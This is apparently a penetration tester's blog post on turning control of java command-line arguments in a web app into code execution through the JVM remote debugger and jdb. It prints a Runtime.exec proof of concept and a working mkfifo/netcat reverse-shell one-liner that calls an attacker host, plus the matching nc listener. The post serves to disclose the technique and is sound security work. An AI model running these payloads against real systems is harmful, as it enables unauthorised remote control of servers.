Recently on a pentest, we encountered a web application that allowed us to control command line args sent to the 'java' binary on the underlying server. We didn't see any resources published on how to gain arbitrary command execution with just control of the arguments to java, so this blog will demonstrate how you could easily go about this.
About separating commands from data
Most experienced developers will avoid using OS level commands in their web applications, but if it is necessary, they will use a library that allows them to specify the binary separately from user defined input and restrict any shell or control characters from being interpreted. This style of starting command execution usually has a function signature similar to exec() or fork().
You can imagine that an OS command should have some user defined elements given from web app input, but the binary being executed should be defined by the application. A web app might hard code the binary, but allow user input to define the arguments. Using this, in most cases, stops an attacker from easily injecting with only control of arguments since they cannot simply use bash/bat control characters and control of the arguments does not give them control of what binary is being executed
from subprocess import Popen command = ["netstat "] Popen( command + sys.argv,shell=False)
If the binary being called has powerful arguments that can allow code execution however.....
Using Java Arguments to execute code
We encountered a web application allowing the user to define command line arguments to the java binary. The web apps exec method looked something like:
Popen(["java"] + request["jargs"].split(";") + ["com.app.classiwantorun"], shell=False)
Looking at the documentation for java, you can see there are many powerful command line flags available. An easy way to get code execution is to leverage the debugger.
We can use this argument to instruct the JVM to start a remote debugger listening on 8000
And then can attach to that process from an attacker host
jdb -attach vulnip:8000
Type ‘step’ into the debug console and press enter
Type the following into the debug console and press enter to run proof of concept command ‘pwd’
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("pwd").getInputStream())).readLine())
Execute a reverse shell
print java.lang.Runtime.getRuntime().exec(new java.lang.String("bashS2-cS2rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackip port >/tmp/f").split("S2"))
Listen for reverse shell
nc -l -p 85